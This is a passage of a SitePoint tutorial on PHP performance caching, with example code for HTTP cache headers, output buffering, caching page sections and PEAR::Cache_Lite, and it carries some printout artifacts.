whether the page has been updated since that time. If it hasn't, your script sends an HTTP 304 status&lt;br /&gt;code to indicate that the page hasn't been modified, and exits before sending the body of the page.&lt;br /&gt;Let's see these headers in action. The example below uses the modification date of a text file. To simulate updates, we&lt;br /&gt;first need to create a way to randomly write to the file:&lt;br /&gt;ifmodified.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;$file = 'ifmodified.txt';&lt;br /&gt;$random = [16] (0,1,1);&lt;br /&gt;shuffle($random);&lt;br /&gt;if ( $random[0] == 0 ) {&lt;br /&gt;$fp = fopen($file, 'w');&lt;br /&gt;fwrite($fp, 'x');&lt;br /&gt;fclose($fp);&lt;br /&gt;}&lt;br /&gt;$lastModified = filemtime($file);&lt;br /&gt;Our simple randomizer provides a one-in-three chance that the file will be updated each time the page is requested.&lt;br /&gt;We also use the filemtime function to obtain the last modified time of the file.&lt;br /&gt;Next, we send a Last-Modified header that uses the modification time of the text file. We need to send this&lt;br /&gt;header for every page we render, to cause visiting browsers to send us the If-Modifed-Since header upon&lt;br /&gt;every request:&lt;br /&gt;ifmodified.php (excerpt)&lt;br /&gt;header('Last-Modified: ' .&lt;br /&gt;gmdate('D, d M Y H:i:s', $lastModified) . ' GMT');&lt;br /&gt;Our use of the getallheaders function ensures that PHP gives us all the incoming request headers as an array.&lt;br /&gt;We then need to check that the If-Modified-Since header actually exists; if it does, we have to deal with a special case&lt;br /&gt;caused by older [17] browsers (earlier than version 6), which appended an illegal extra field to their&lt;br /&gt;If-Modified-Since headers. We use PHP's strtotime function to generate a timestamp from the date the&lt;br /&gt;browser sent us. If there's no such header, we set this timestamp to zero, which forces PHP to give the visitor an&lt;br /&gt;up-to-date copy of the page:&lt;br /&gt;ifmodified.php (excerpt)&lt;br /&gt;$request = getallheaders();&lt;br /&gt;if (isset($request['If-Modified-Since']))&lt;br /&gt;{&lt;br /&gt;$modifiedSince = explode(';', $request['If-Modified-Since']);&lt;br /&gt;$modifiedSince = strtotime($modifiedSince[0]);&lt;br /&gt;accessible&lt;br /&gt;array&lt;br /&gt;Mozilla&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;6 of 21 2/17/2008 9:39 PM&lt;br /&gt;}&lt;br /&gt;else&lt;br /&gt;{&lt;br /&gt;$modifiedSince = 0;&lt;br /&gt;}&lt;br /&gt;Finally, we check to see whether or not the cache has been modified since the last time the visitor received this page.&lt;br /&gt;If it hasn't, we simply send a 304 Not Modified response header and exit the script, saving [18] and&lt;br /&gt;processing time by prompting the browser to display its cached copy of the page:&lt;br /&gt;ifmodified.php (excerpt)&lt;br /&gt;if ($lastModified &lt;= $modifiedSince)&lt;br /&gt;{&lt;br /&gt;header('HTTP/1.1 304 Not Modified');&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;echo ( 'The GMT is now '.gmdate('H:i:s').'&lt;br /&gt;' );&lt;br /&gt;echo ( '&lt;a href="'.$_SERVER['PHP_SELF'].'"&gt;View Again&lt;/a&gt;&lt;br /&gt;' );&lt;br /&gt;?&gt;&lt;br /&gt;Remember to use the "View Again" link when you run this example (clicking the Refresh button usually clears your&lt;br /&gt;browser's cache). If you click on the link repeatedly, the cache will eventually be updated; your browser will throw out&lt;br /&gt;its cached version and fetch a new page from the server.&lt;br /&gt;If you combine the Last-Modified header approach with time values that are already available in your&lt;br /&gt;application--for example, the time of the most recent news article--you should be able to take advantage of web&lt;br /&gt;browser caches, saving bandwidth and improving your application's perceived performance in the process.&lt;br /&gt;Be very careful to test any caching performed in this manner, though; if you get it wrong, you may cause your visitors&lt;br /&gt;to consistently see out-of-date copies of your site.&lt;br /&gt;Discussion&lt;br /&gt;HTTP dates are always calculated relative to Greenwich Mean Time (GMT). The PHP function gmdate is exactly the&lt;br /&gt;same as the date function, except that it automatically offsets the time to GMT based on your server's system clock&lt;br /&gt;and regional settings.&lt;br /&gt;When a browser encounters an Expires header, it caches the page. All further requests for the page that are made&lt;br /&gt;before the specified expiry time use the cached version of the page--no request is sent to the web server. Of course,&lt;br /&gt;client-side caching is only truly effective if the system time on the computer is accurate. If the computer's time is out&lt;br /&gt;of sync with that of the web server, you run the risk of pages either being cached improperly, or never being updated.&lt;br /&gt;The Expires header has the advantage that it's easy to implement; in most cases, however, unless you're a highly&lt;br /&gt;organized person, you won't know exactly when a given page on your site will be updated. Since the browser will only&lt;br /&gt;contact the server after the page has expired, there's no way to tell browsers that the page they've cached is out of&lt;br /&gt;date. In addition, you also lose some knowledge of the traffic visiting your web site, since the browser will not make&lt;br /&gt;contact with the server when it requests a page that's been cached.&lt;br /&gt;How do I examine HTTP headers in my browser?&lt;br /&gt;bandwidth&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;7 of 21 2/17/2008 9:39 PM&lt;br /&gt;How can you actually check that your application is running as expected, or debug your code, if you can't actually see&lt;br /&gt;the HTTP headers? It's worth knowing exactly which headers your script is sending, particularly when you're dealing&lt;br /&gt;with HTTP cache headers.&lt;br /&gt;Solution&lt;br /&gt;Several worthy tools are available to help you get a closer look at your HTTP headers:&lt;br /&gt;LiveHTTPHeaders [19]&lt;br /&gt;This add-on to the [20] browser is a simple but very handy tool for examining request and response headers&lt;br /&gt;while you're browsing.&lt;br /&gt;Firebug [21]&lt;br /&gt;Another useful Firefox add-on, Firebug is a tool whose interface offers a dedicated tab for examining HTTP request&lt;br /&gt;information.&lt;br /&gt;HTTPWatch [22]&lt;br /&gt;This add-on to Internet Explorer for HTTP viewing and debugging is similar to LiveHTTPHeaders above.&lt;br /&gt;Charles Web Debugging Proxy [23]&lt;br /&gt;Available for Windows, Mac OS X, and [24] or Unix, the Charles Web Debugging Proxy is a proxy server that&lt;br /&gt;allows developers to see all the HTTP traffic between their browsers and the web servers to which they connect.&lt;br /&gt;Any of these tools will allow you to inspect the communication between the server and browser.&lt;br /&gt;How do I cache file downloads with Internet Explorer?&lt;br /&gt;If you're developing file download scripts for Internet Explorer users, you might notice a few issues with the&lt;br /&gt;download process. In particular, when you're serving a file download through a PHP script that uses headers such as&lt;br /&gt;Content-Disposition: attachment, filename=myFile.pdf or Content-Disposition:&lt;br /&gt;inline, filename=myFile.pdf, and that tells the browser not to cache pages, Internet Explorer won't&lt;br /&gt;deliver that file to the user.&lt;br /&gt;Solutions&lt;br /&gt;Internet Explorer handles downloads in a rather unusual manner: it makes two requests to the web site. The first&lt;br /&gt;request downloads the file and stores it in the cache before making a second request, the response to which is not&lt;br /&gt;stored. The second request invokes the process of delivering the file to the end user in accordance with the file's&lt;br /&gt;type--for instance, it starts Acrobat Reader if the file is a PDF document. Therefore, if you send the cache headers&lt;br /&gt;that instruct the browser not to cache the page, Internet Explorer will delete the file between the first and second&lt;br /&gt;requests, with the unfortunate result that the end user receives nothing!&lt;br /&gt;If the file you're serving through the PHP script won't change, one solution to this problem is simply to disable the&lt;br /&gt;"don't cache" headers, pragma and cache-control, which we discussed in "How do I prevent web browsers&lt;br /&gt;from caching a page?", for the download script.&lt;br /&gt;If the file download will change regularly, and you want the browser to download an up-to-date version of it, you'll&lt;br /&gt;need to use the Last-Modified header that we met in "How do I control client-side caching?", and ensure that&lt;br /&gt;the time of modification remains the same across the two consecutive requests. You should be able to achieve this&lt;br /&gt;goal without affecting users of browsers that handle downloads correctly.&lt;br /&gt;Firefox&lt;br /&gt;Linux&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;8 of 21 2/17/2008 9:39 PM&lt;br /&gt;One final solution is to write the file to the file system of your web server and simply provide a link to it, leaving it to&lt;br /&gt;the web server to report the cache headers for you. Of course, this may not be a viable option if the file is supposed to&lt;br /&gt;be secured.&lt;br /&gt;How do I use output buffering for server-side caching?&lt;br /&gt;Server-side processing delay is one of the biggest bugbears of dynamic web pages. We can reduce server-side delay by&lt;br /&gt;caching output. The page is generated normally, performing database queries and so on with PHP; however, before&lt;br /&gt;sending it to the browser, we capture and store the finished page somewhere--in a file, for instance. The next time the&lt;br /&gt;page is requested, the PHP script first checks to see whether a cached version of the page exists. If it does, the script&lt;br /&gt;sends the cached version straight to the browser, avoiding the delay involved in rebuilding the page.&lt;br /&gt;Solution&lt;br /&gt;Here, we'll look at PHP's in-built caching mechanism, the output buffer, which can be used with whatever page&lt;br /&gt;rendering system you prefer (templates or no templates). Consider situations in which your script displays results&lt;br /&gt;using, for example, echo or print, rather than sending the data directly to the browser. In such cases, you can use&lt;br /&gt;PHP's output control functions to store the data in an in-memory buffer, which your PHP script has both access to&lt;br /&gt;and control over.&lt;br /&gt;Here's a simple example that demonstrates how the output buffer works:&lt;br /&gt;buffer.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;ob_start();&lt;br /&gt;echo '1. Place this in the buffer&lt;br /&gt;';&lt;br /&gt;$buffer = ob_get_contents();&lt;br /&gt;ob_end_clean();&lt;br /&gt;echo '2. A normal echo&lt;br /&gt;';&lt;br /&gt;echo $buffer;&lt;br /&gt;?&gt;&lt;br /&gt;The buffer itself stores the output as a string. So, in the above script, we commence buffering with the&lt;br /&gt;ob_startfunction, and use echo to display a piece of text which is stored in the output buffer automatically.&lt;br /&gt;We then use the ob_get_contents function to fetch the data the echo statement placed in the buffer, and store&lt;br /&gt;it in the $buffer variable. The ob_end_clean function stops the output buffer and empties the contents; the&lt;br /&gt;alternative approach is to use the ob_end_flushfunction, which displays the contents of the buffer.&lt;br /&gt;The above script displays the following output:&lt;br /&gt;2. A normal echo&lt;br /&gt;1. Place this in the buffer&lt;br /&gt;In other words, we captured the output of the first echo, then sent it to the browser after the second echo. As this&lt;br /&gt;simple example suggests, output buffering can be a very powerful tool when it comes to building your site; it provides&lt;br /&gt;a solution for caching, as we'll see in a moment, and is also an excellent way to hide errors from your site's visitors, as&lt;br /&gt;is discussed in Chapter 9. Output buffering even provides a possible alternative to browser redirection in situations&lt;br /&gt;such as user authentication.&lt;br /&gt;In order to improve the performance of our site, we can store the output buffer contents in a file. We can then call on&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;9 of 21 2/17/2008 9:39 PM&lt;br /&gt;this file for the next request, rather than having to rebuild the output from scratch again. Let's look at a quick&lt;br /&gt;example of this technique. First, our example script checks for the presence of a cache file:&lt;br /&gt;sscache.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;if (file_exists('./cache/page.cache'))&lt;br /&gt;{&lt;br /&gt;readfile('./cache/page.cache');&lt;br /&gt;exit();&lt;br /&gt;}&lt;br /&gt;If the script finds the cache file, we simply output its contents and we're done! If the cache file is not found, we&lt;br /&gt;proceed to output the page using the output buffer:&lt;br /&gt;sscache.php (excerpt)&lt;br /&gt;ob_start();&lt;br /&gt;?&gt;&lt;br /&gt;&lt;!DOCTYPE html public "-//W3C//DTD [25] 1.0 Transitional//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Cached Page&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;This page was cached with PHP's&lt;br /&gt;&lt;a href="http://www.php.net/outcontrol"&lt;br /&gt;&gt;Output Control Functions&lt;/a&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$buffer = ob_get_contents();&lt;br /&gt;ob_end_flush();&lt;br /&gt;Before we flush the output buffer to display our page, we make sure to store the buffer contents in the $buffer&lt;br /&gt;variable.&lt;br /&gt;The final step is to store the saved buffer contents in a text file:&lt;br /&gt;sscache.php (excerpt)&lt;br /&gt;$fp = fopen('./cache/page.cache','w');&lt;br /&gt;fwrite($fp,$buffer);&lt;br /&gt;fclose($fp);&lt;br /&gt;?&gt;&lt;br /&gt;The page.cache file contents are exactly same as the HTML that was rendered by the script:&lt;br /&gt;cache/page.cache (excerpt)&lt;br /&gt;XHTML&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;10 of 21 2/17/2008 9:39 PM&lt;br /&gt;&lt;!DOCTYPE html public "-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Cached Page&lt;/title&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;This page was cached with PHP's&lt;br /&gt;&lt;a href="http://www.php.net/outcontrol"&lt;br /&gt;&gt;Output Control Functions&lt;/a&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;Discussion&lt;br /&gt;For an example that shows how to use PHP's output buffering capabilities to handle errors more elegantly, have a&lt;br /&gt;look at the PHP Freaks article Introduction to Output Buffering, by Derek Ford [26].&lt;br /&gt;What About Template Caching?&lt;br /&gt;Template engines often include template caching features--Smarty [27] is a case in point. Usually, these engines offer&lt;br /&gt;a built-in mechanism for storing a compiled version of a template (that is, the native PHP generated from the&lt;br /&gt;template), which prevents us developers from having to recompile the template every time a page is requested.&lt;br /&gt;This process should not be confused with output--or content--caching, which refers to the caching of the rendered&lt;br /&gt;HTML (or other output) that PHP sends to the browser. In addition to the content cache mechanisms discussed in&lt;br /&gt;this chapter, Smarty can cache the contents of the HTML page. Whether you use Smarty's content cache or one of the&lt;br /&gt;alternatives discussed in this chapter, you can successfully use both template and content caching together on the&lt;br /&gt;same site.&lt;br /&gt;HTTP Headers and Output Buffering&lt;br /&gt;Output buffering can help solve the most common problem associated with the header function, not to mention&lt;br /&gt;the issues surrounding session_start and set_cookie. Normally, if you call any of these functions after&lt;br /&gt;page output has begun, you'll get a nasty error message. When output buffering's turned on, the only output types&lt;br /&gt;that can escape the buffer are HTTP headers. If you use ob_start at the very beginning of your application's&lt;br /&gt;execution, you can send headers at whichever point you like, without encountering the usual errors. You can then&lt;br /&gt;write out the buffered page content all at once, when you're sure that no more HTTP headers are required.&lt;br /&gt;Use Output Buffering Responsibly&lt;br /&gt;While output buffering can helpfully solve all our header problems, it should not be used solely for that reason. By&lt;br /&gt;ensuring that all output is generated after all the headers are sent, you'll save the time and resource overheads&lt;br /&gt;involved in using output buffers.&lt;br /&gt;How do I cache just the parts of a page that change infrequently?&lt;br /&gt;Caching an entire page is a simplistic approach to output buffering. While it's easy to implement, that approach&lt;br /&gt;negates the real benefits presented by PHP's output control functions to improve your site's performance in a manner&lt;br /&gt;that's relevant to the varying lifetimes of your content.&lt;br /&gt;No doubt, some parts of the page that you send to visitors will change very rarely, such as the page's header, menus,&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;11 of 21 2/17/2008 9:39 PM&lt;br /&gt;and footer. But other parts--for example, the list of comments on your blog posts--may change quite often.&lt;br /&gt;Fortunately, PHP allows you to cache sections of the page separately.&lt;br /&gt;Solution&lt;br /&gt;Output buffering can be used to cache sections of a page in separate files. The page can then be rebuilt for output&lt;br /&gt;from these files.&lt;br /&gt;This technique eliminates the need to repeat database queries, while loops, and so on. You might consider assigning&lt;br /&gt;each block of the page an expiry date after which the cache file is recreated; alternatively, you may build into your&lt;br /&gt;application a mechanism that deletes the cache file every time the content it stores is changed.&lt;br /&gt;Let's work through an example that demonstrates the principle. Firstly, we'll create two helper functions,&lt;br /&gt;writeCache and readCache. Here's the writeCache function:&lt;br /&gt;smartcache.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;function writeCache($content, $filename)&lt;br /&gt;{&lt;br /&gt;$fp = fopen('./cache/' . $filename, 'w');&lt;br /&gt;fwrite($fp, $content);&lt;br /&gt;fclose($fp);&lt;br /&gt;}&lt;br /&gt;The writeCache function is quite simple; it just writes the content of the first argument to a file with the name&lt;br /&gt;specified in the second argument, and saves that file to a location in the cache directory. We'll use this function to&lt;br /&gt;write our HTML to the cache files.&lt;br /&gt;The readCache function will return the contents of the cache file specified in the first argument if it has not&lt;br /&gt;expired--that is, the file's last modified time is not older than the current time minus the number of seconds specified&lt;br /&gt;in the second argument. If it has expired or the file does not exist, the function returns false:&lt;br /&gt;smartcache.php (excerpt)&lt;br /&gt;function readCache($filename, $expiry)&lt;br /&gt;{&lt;br /&gt;if (file_exists('./cache/' . $filename))&lt;br /&gt;{&lt;br /&gt;if ((time() - $expiry) &gt; filemtime('./cache/' . $filename))&lt;br /&gt;{&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;$cache = file('./cache/' . $filename);&lt;br /&gt;return implode('', $cache);&lt;br /&gt;}&lt;br /&gt;return false;&lt;br /&gt;}&lt;br /&gt;For the purposes of demonstrating this concept, I've used a procedural approach. However, I wouldn't recommend&lt;br /&gt;doing this in practice, as it will result in very messy code and is likely to cause issues with file locking. For example,&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;12 of 21 2/17/2008 9:39 PM&lt;br /&gt;what happens when someone accesses the cache at the exact moment it's being updated? Better solutions will be&lt;br /&gt;explained later on in the chapter.&lt;br /&gt;Let's continue this example. After the output buffer is started, processing begins. First, the script calls readCache&lt;br /&gt;to see whether the file header.cache exists; this contains the top of the page--the HTML &lt;head&gt; tag and the&lt;br /&gt;start &lt;body&gt; tag. We've used PHP's date function to display the time at which the page was actually rendered, so&lt;br /&gt;you'll be able to see the different cache files at work when the page is displayed:&lt;br /&gt;smartcache.php (excerpt)&lt;br /&gt;ob_start();&lt;br /&gt;if (!$header = readCache('header.cache', 604800))&lt;br /&gt;{&lt;br /&gt;?&gt;&lt;br /&gt;&lt;!DOCTYPE html public "-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;Chunked Cached Page&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type"&lt;br /&gt;content="text/html; charset=iso-8859-1"/&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;p&gt;The header time is now: &lt;?php echo date('H:i:s'); ?&gt;&lt;/p&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$header = ob_get_contents();&lt;br /&gt;ob_clean();&lt;br /&gt;writeCache($header,'header.cache');&lt;br /&gt;}&lt;br /&gt;Note what happens when a cache file isn't found: the header content is output and assigned to a variable, $header,&lt;br /&gt;with ob_get_contents, after which the ob_clean function is called to empty the buffer. This allows us to&lt;br /&gt;capture the output in "chunks" and assign them to individual cache files with the writeCache function. The&lt;br /&gt;header of the page is now stored as a file, which can be reused without our needing to rerender the page. Look back to&lt;br /&gt;the start of the if condition for a moment. When we called readCache, we gave it an expiry time of 604800&lt;br /&gt;seconds (one week); readCache uses the file modification time of the cache file to determine whether the cache is&lt;br /&gt;still valid.&lt;br /&gt;For the body of the page, we'll use the same process as before. However, this time, when we call readCache, we'll&lt;br /&gt;use an expiry time of five seconds; the cache file will be updated whenever it's more than five seconds old:&lt;br /&gt;smartcache.php (excerpt)&lt;br /&gt;if (!$body = readCache('body.cache', 5))&lt;br /&gt;{&lt;br /&gt;echo 'The body time is now: ' . date('H:i:s') . '&lt;br /&gt;';&lt;br /&gt;$body = ob_get_contents();&lt;br /&gt;ob_clean();&lt;br /&gt;writeCache($body, 'body.cache');&lt;br /&gt;}&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;13 of 21 2/17/2008 9:39 PM&lt;br /&gt;The page footer is effectively the same as the header. After the footer, the output buffering is stopped and the&lt;br /&gt;contents of the three variables that hold the page data are displayed:&lt;br /&gt;smartcache.php (excerpt)&lt;br /&gt;if (!$footer = readCache('footer.cache', 604800)) {&lt;br /&gt;?&gt;&lt;br /&gt;&lt;p&gt;The footer time is now: &lt;?php echo date('H:i:s'); ?&gt;&lt;/p&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$footer = ob_get_contents();&lt;br /&gt;ob_clean();&lt;br /&gt;writeCache($footer, 'footer.cache');&lt;br /&gt;}&lt;br /&gt;ob_end_clean();&lt;br /&gt;echo $header . $body . $footer;&lt;br /&gt;?&gt;&lt;br /&gt;The end result looks like this:&lt;br /&gt;The header time is now: 17:10:42&lt;br /&gt;The body time is now: 18:07:40&lt;br /&gt;The footer time is now: 17:10:42&lt;br /&gt;The header and footer are updated on a weekly basis, while the body is updated whenever it is more than five seconds&lt;br /&gt;old. If you keep refreshing the page, you'll see the body time updating.&lt;br /&gt;Discussion&lt;br /&gt;Note that if you have a page that builds content dynamically, based on a number of variables, you'll need to make&lt;br /&gt;adjustments to the way you handle your cache files. For example, you might have an online shopping catalog whose&lt;br /&gt;listing pages are defined by a URL such as:&lt;br /&gt;http://example.com/catalogue/view.php?category=1&amp;page=2&lt;br /&gt;This URL should show page two of all items in category one; let's say this is the category for socks. But if we were to&lt;br /&gt;use the caching code above, the results of the first page of the first category we looked at would be cached, and shown&lt;br /&gt;for any request for any other page or category, until the cache expiry time elapsed. This would certainly confuse the&lt;br /&gt;next visitor who wanted to browse the category for shoes--that person would see the cached content for socks!&lt;br /&gt;To avoid this issue, you'll need to incorporate the category ID and page number in to the cache file name like so:&lt;br /&gt;$cache_filename = 'catalogue_' . $category_id . '_' .&lt;br /&gt;$page . '.cache';&lt;br /&gt;if (!$catalogue = readCache($cache_filename, 604800))&lt;br /&gt;{&lt;br /&gt;...display the category HTML...&lt;br /&gt;}&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;14 of 21 2/17/2008 9:39 PM&lt;br /&gt;This way, the correct cached content can be retrieved for every request.&lt;br /&gt;Nesting Buffers&lt;br /&gt;You can nest one buffer within another practically ad infinitum simply by calling ob_startmore than once. This can&lt;br /&gt;be useful if you have multiple operations that use the output buffer, such as one that catches the PHP error&lt;br /&gt;messages, and another that deals with caching. Care needs to be taken to make sure that ob_end_flush or&lt;br /&gt;ob_end_clean is called every time ob_start is used.&lt;br /&gt;How do I use PEAR::Cache_Lite for server-side caching?&lt;br /&gt;The previous solution explored the ideas behind output buffering using the PHP ob_* functions. Although we&lt;br /&gt;mentioned at the time, that approach probably isn't the best way to meet to dual goals of keeping your code&lt;br /&gt;maintainable and having a reliable caching mechanism. It's time to see how we can put a caching system into action&lt;br /&gt;in a manner that will be reliable and easy to maintain.&lt;br /&gt;Solution&lt;br /&gt;In the interests of keeping your code maintainable and having a reliable caching mechanism, it's a good idea to&lt;br /&gt;delegate the responsibility of caching logic to classes you trust. In this case, we'll use a little help from&lt;br /&gt;PEAR::Cache_Lite (version 1.7.2 is used in the examples here [28]). Cache_Lite provides a solid yet&lt;br /&gt;easy-to-use library for caching, and handles issues such as: file locking; creating, checking for, and deleting cache&lt;br /&gt;files; controlling the output buffer; and directly caching the results from function and class method calls. More to the&lt;br /&gt;point, Cache_Lite should be relatively easy to apply to an existing application, requiring only minor code&lt;br /&gt;modifications.&lt;br /&gt;Cache_Lite has four main classes. First is the base class, Cache_Lite, which deals purely with creating and&lt;br /&gt;fetching cache files, but makes no use of output buffering. This class can be used alone for caching operations in&lt;br /&gt;which you have no need for output buffering, such as storing the contents of a template you've parsed with PHP.&lt;br /&gt;The examples here will not use Cache_Lite directly, but will instead focus on the three subclasses.&lt;br /&gt;Cache_Lite_Function can be used to call a function or class method and cache the result, which might prove&lt;br /&gt;useful for storing a [29] query result set, for example. The Cache_Lite_Output class uses PHP's output&lt;br /&gt;control functions to catch the output generated by your script and store it in cache files; it allows you to perform tasks&lt;br /&gt;such as those we completed in "How do I cache just the parts of a page that change infrequently?". The&lt;br /&gt;Cache_Lite_File class bases cache expiry on the timestamp of a master file, with any cache file being deemed&lt;br /&gt;to have expired if it is older than the timestamp.&lt;br /&gt;Let's work through an example that shows how you might use Cache_Lite to create a simple caching solution.&lt;br /&gt;When we're instantiating any child classes of Cache_Lite, we must first provide an array of options that&lt;br /&gt;determine the behavior of Cache_Lite itself. We'll look at these options in detail in a moment. Note that the&lt;br /&gt;cacheDir directory we specify must be one to which the script has read and write access:&lt;br /&gt;cachelite.php (excerpt)&lt;br /&gt;&lt;?php&lt;br /&gt;require_once 'Cache/Lite/Output.php';&lt;br /&gt;$options = array(&lt;br /&gt;'cacheDir' =&gt; './cache/',&lt;br /&gt;'writeControl' =&gt; 'true',&lt;br /&gt;'readControl' =&gt; 'true',&lt;br /&gt;MySQL&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;15 of 21 2/17/2008 9:39 PM&lt;br /&gt;'fileNameProtection' =&gt; false,&lt;br /&gt;'readControlType' =&gt; 'md5'&lt;br /&gt;);&lt;br /&gt;$cache = new Cache_Lite_Output($options);&lt;br /&gt;For each chunk of content that we want to cache, we need to set a lifetime (in seconds) for which the cache should&lt;br /&gt;live before it's refreshed. Next, we use the start method, available only in the Cache_Lite_Output class, to turn&lt;br /&gt;on output buffering. The two arguments passed to the start method are an identifying value for this particular cache&lt;br /&gt;file, and a cache group. The group is an identifier that allows a collection of cache files to be acted upon; it's possible&lt;br /&gt;to delete all cache files in a given group, for example (more on this in a moment). The start method will check to see if&lt;br /&gt;a valid cache file is available and, if so, it will begin outputting the cache contents. If a cache file is not available, start&lt;br /&gt;will return false and begin caching the following output.&lt;br /&gt;Once the output for this chunk has finished, we use the end method to stop buffering and store the content as a file:&lt;br /&gt;cachelite.php (excerpt)&lt;br /&gt;$cache-&gt;setLifeTime(604800);&lt;br /&gt;if (!$cache-&gt;start('header', 'Static')) {&lt;br /&gt;?&gt;&lt;br /&gt;&lt;!DOCTYPE html public "-//W3C//DTD XHTML 1.0 Transitional//EN"&lt;br /&gt;"http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"&gt;&lt;br /&gt;&lt;html xmlns="http://www.w3.org/1999/xhtml"&gt;&lt;br /&gt;&lt;head&gt;&lt;br /&gt;&lt;title&gt;PEAR::Cache_Lite example&lt;/title&gt;&lt;br /&gt;&lt;meta http-equiv="Content-Type"&lt;br /&gt;content="text/html; charset=iso-8859-1"/&gt;&lt;br /&gt;&lt;/head&gt;&lt;br /&gt;&lt;body&gt;&lt;br /&gt;&lt;h2&gt;PEAR::Cache_Lite example&lt;/h2&gt;&lt;br /&gt;&lt;p&gt;The header time is now: &lt;?php echo date('H:i:s'); ?&gt;&lt;/p&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$cache-&gt;end();&lt;br /&gt;}&lt;br /&gt;To cache the body and footer, we follow the same procedure we used for the header. Note that, again, we specify a&lt;br /&gt;five-second lifetime when caching the body:&lt;br /&gt;cachelite.php (excerpt)&lt;br /&gt;$cache-&gt;setLifeTime(5);&lt;br /&gt;if (!$cache-&gt;start('body', 'Dynamic')) {&lt;br /&gt;echo 'The body time is now: ' . date('H:i:s') . '&lt;br /&gt;';&lt;br /&gt;$cache-&gt;end();&lt;br /&gt;}&lt;br /&gt;$cache-&gt;setLifeTime(604800);&lt;br /&gt;if (!$cache-&gt;start('footer', 'Static')) {&lt;br /&gt;?&gt;&lt;br /&gt;&lt;p&gt;The footer time is now: &lt;?php echo date('H:i:s'); ?&gt;&lt;/p&gt;&lt;br /&gt;&lt;/body&gt;&lt;br /&gt;Cache it! Solve PHP Performance Problems http://www.sitepoint.com/print/caching-php-performance&lt;br /&gt;16 of 21 2/17/2008 9:39 PM&lt;br /&gt;&lt;/html&gt;&lt;br /&gt;&lt;?php&lt;br /&gt;$cache-&gt;end();&lt;br /&gt;}&lt;br /&gt;?&gt;&lt;br /&gt;On viewing the page, Cache_Lite creates cache files in the cache directory. Because we've set the&lt;br /&gt;fileNameProtection option to false, Cache_Lite creates the files with these names:&lt;br /&gt;- ./cache/cache_Static_header&lt;br /&gt;- ./cache/cache_Dynamic_body&lt;br /&gt;- ./cache/cache_Static_footer&lt;br /&gt;You can read about the fileNameProtection option--and many more--in "What configuration options does&lt;br /&gt;Cache_Lite support?". When the same page is requested later, the code above will use the cached file if it is valid&lt;br /&gt;and has not expired.&lt;br /&gt;Protect your Cache Files&lt;br /&gt;Make sure that the directory in which you place the cache files is not publicly available, or you may be offering&lt;br /&gt;your site's visitors access to more than you realize.&lt;br /&gt;What configuration options does Cache_Lite support?&lt;br /&gt;When instantiating Cache_Lite (or any of its subclasses, such as Cache_Lite_Output), you can use any of a&lt;br /&gt;number of approaches to controlling its behavior. These options should be placed in an array and passed to the&lt;br /&gt;constructor as shown below (and in the previous section):&lt;br /&gt;$options = array(&lt;br /&gt;'cacheDir' =&gt; './cache/',&lt;br /&gt;'writeControl' =&gt; true,&lt;br /&gt;'readControl' =&gt; true,&lt;br /&gt;'fileNameProtection' =&gt; false,&lt;br /&gt;'readControlType' =&gt; 'md5'&lt;br /&gt;);&lt;br /&gt;$cache = new Cache_Lite_Output($options);&lt;br /&gt;Solution&lt;br /&gt;The options available in the current version of Cache_Lite (1.7.2) are:&lt;br /&gt;cacheDir&lt;br /&gt;This is the directory in which the cache files will be placed. It defaults to /tmp/.&lt;br /&gt;caching&lt;br 